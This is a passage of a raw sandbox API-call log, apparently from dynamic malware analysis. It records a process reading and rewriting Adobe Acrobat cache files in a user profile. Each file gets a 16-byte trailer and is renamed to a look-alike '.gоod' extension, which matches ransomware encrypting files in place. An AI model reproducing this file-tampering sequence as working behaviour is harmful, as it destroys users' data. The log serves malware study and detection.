dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0134.142] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0134.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0134.143] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", lpFilePart=0x0) returned 0x41 [0134.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0134.143] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst"), fInfoLevelId=0x0, lpFileInformation=0x381e510 | out: lpFileInformation=0x381e510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x40b)) returned 1 [0134.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0134.145] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6ead70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", lpFilePart=0x0) returned 0x41 [0134.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb290) returned 1 [0134.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0134.145] GetFileType (hFile=0x630) returned 0x1 [0134.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb200) returned 1 [0134.145] GetFileType (hFile=0x630) returned 0x1 [0134.145] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f6eb438 | out: lpFileSizeHigh=0x1f6eb438*=0x0) returned 0x40b [0134.145] ReadFile (in: hFile=0x630, lpBuffer=0x381ebc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb368, lpOverlapped=0x0 | out: lpBuffer=0x381ebc8*, lpNumberOfBytesRead=0x1f6eb368*=0x40b, lpOverlapped=0x0) returned 1 [0134.147] CloseHandle (hObject=0x630) returned 1 [0134.720] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6ead70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", lpFilePart=0x0) returned 0x41 [0134.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb290) returned 1 [0134.720] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0134.721] GetFileType (hFile=0x630) returned 0x1 [0134.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb200) returned 1 [0134.721] GetFileType (hFile=0x630) returned 0x1 [0134.721] WriteFile (in: hFile=0x630, lpBuffer=0x3763d58*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x1f6eb278, lpOverlapped=0x0 | out: lpBuffer=0x3763d58*, lpNumberOfBytesWritten=0x1f6eb278*=0x410, lpOverlapped=0x0) returned 1 [0134.722] CloseHandle (hObject=0x630) returned 1 [0134.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", lpFilePart=0x0) returned 0x41 [0134.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst.gоod", lpFilePart=0x0) returned 0x46 [0134.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0134.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4c8364b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0134.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0134.722] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst.gоod")) returned 1 [0134.723] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", lpFilePart=0x0) returned 0x40 [0134.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0134.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), fInfoLevelId=0x0, lpFileInformation=0x3764fd0 | out: lpFileInformation=0x3764fd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x24c57)) returned 1 [0134.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0134.723] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", lpFilePart=0x0) returned 0x40 [0134.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0134.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0134.724] GetFileType (hFile=0x630) returned 0x1 [0134.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0134.724] GetFileType (hFile=0x630) returned 0x1 [0134.724] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1000 [0134.724] ReadFile (in: hFile=0x630, lpBuffer=0x37653e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb408, lpOverlapped=0x0 | out: lpBuffer=0x37653e8*, lpNumberOfBytesRead=0x1f6eb408*=0x1000, lpOverlapped=0x0) returned 1 [0135.185] CloseHandle (hObject=0x630) returned 1 [0136.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", lpFilePart=0x0) returned 0x40 [0136.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0136.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0136.646] GetFileType (hFile=0x630) returned 0x1 [0136.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0136.646] GetFileType (hFile=0x630) returned 0x1 [0136.646] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x24c57 [0136.646] WriteFile (in: hFile=0x630, lpBuffer=0x38d44d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6eb328, lpOverlapped=0x0 | out: lpBuffer=0x38d44d0*, lpNumberOfBytesWritten=0x1f6eb328*=0x10, lpOverlapped=0x0) returned 1 [0137.083] CloseHandle (hObject=0x630) returned 1 [0137.423] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", lpFilePart=0x0) returned 0x40 [0137.462] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0138.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0138.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0138.315] GetFileType (hFile=0x630) returned 0x1 [0138.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0138.317] GetFileType (hFile=0x630) returned 0x1 [0138.317] ReadFile (in: hFile=0x630, lpBuffer=0x3bec670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb3b8, lpOverlapped=0x0 | out: lpBuffer=0x3bec670*, lpNumberOfBytesRead=0x1f6eb3b8*=0x1000, lpOverlapped=0x0) returned 1 [0138.392] CloseHandle (hObject=0x630) returned 1 [0138.392] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", lpFilePart=0x0) returned 0x40 [0138.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0138.392] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0138.392] GetFileType (hFile=0x630) returned 0x1 [0138.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0138.392] GetFileType (hFile=0x630) returned 0x1 [0138.392] WriteFile (in: hFile=0x630, lpBuffer=0x3827088*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eb468, lpOverlapped=0x0 | out: lpBuffer=0x3827088*, lpNumberOfBytesWritten=0x1f6eb468*=0x1010, lpOverlapped=0x0) returned 1 [0138.393] CloseHandle (hObject=0x630) returned 1 [0138.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", lpFilePart=0x0) returned 0x40 [0138.407] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst.gоod", lpFilePart=0x0) returned 0x45 [0138.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0138.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4eb4c32c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24c67)) returned 1 [0138.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0138.408] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst.gоod")) returned 1 [0138.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", lpFilePart=0x0) returned 0x3f [0138.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0138.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), fInfoLevelId=0x0, lpFileInformation=0x3c6ad60 | out: lpFileInformation=0x3c6ad60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0)) returned 1 [0138.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0138.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", lpFilePart=0x0) returned 0x3f [0138.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0138.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0138.410] GetFileType (hFile=0x630) returned 0x1 [0138.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0138.410] GetFileType (hFile=0x630) returned 0x1 [0138.410] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1000 [0138.410] ReadFile (in: hFile=0x630, lpBuffer=0x3c6b168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb408, lpOverlapped=0x0 | out: lpBuffer=0x3c6b168*, lpNumberOfBytesRead=0x1f6eb408*=0x1000, lpOverlapped=0x0) returned 1 [0138.412] CloseHandle (hObject=0x630) returned 1 [0138.412] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", lpFilePart=0x0) returned 0x3f [0138.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0138.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0138.413] GetFileType (hFile=0x630) returned 0x1 [0138.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0138.413] GetFileType (hFile=0x630) returned 0x1 [0138.413] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0xf6b0 [0138.413] WriteFile (in: hFile=0x630, lpBuffer=0x3c6c748*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6eb328, lpOverlapped=0x0 | out: lpBuffer=0x3c6c748*, lpNumberOfBytesWritten=0x1f6eb328*=0x10, lpOverlapped=0x0) returned 1 [0138.414] CloseHandle (hObject=0x630) returned 1 [0138.414] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", lpFilePart=0x0) returned 0x3f [0138.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0138.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0138.414] GetFileType (hFile=0x630) returned 0x1 [0138.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0138.415] GetFileType (hFile=0x630) returned 0x1 [0138.415] ReadFile (in: hFile=0x630, lpBuffer=0x3c6eb80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb3b8, lpOverlapped=0x0 | out: lpBuffer=0x3c6eb80*, lpNumberOfBytesRead=0x1f6eb3b8*=0x1000, lpOverlapped=0x0) returned 1 [0139.680] CloseHandle (hObject=0x630) returned 1 [0139.680] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", lpFilePart=0x0) returned 0x3f [0139.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0139.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0139.680] GetFileType (hFile=0x630) returned 0x1 [0139.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0139.680] GetFileType (hFile=0x630) returned 0x1 [0139.680] WriteFile (in: hFile=0x630, lpBuffer=0x38814d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eb468, lpOverlapped=0x0 | out: lpBuffer=0x38814d0*, lpNumberOfBytesWritten=0x1f6eb468*=0x1010, lpOverlapped=0x0) returned 1 [0139.680] CloseHandle (hObject=0x630) returned 1 [0139.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", lpFilePart=0x0) returned 0x3f [0139.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.gоod", lpFilePart=0x0) returned 0x44 [0139.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0139.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4f7953d5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf6c0)) returned 1 [0139.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0139.681] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat.gоod")) returned 1 [0139.682] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", lpFilePart=0x0) returned 0x44 [0139.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0139.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), fInfoLevelId=0x0, lpFileInformation=0x394f290 | out: lpFileInformation=0x394f290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8995a87, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1aaac)) returned 1 [0139.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0139.682] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", lpFilePart=0x0) returned 0x44 [0139.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0139.682] CreateFileW 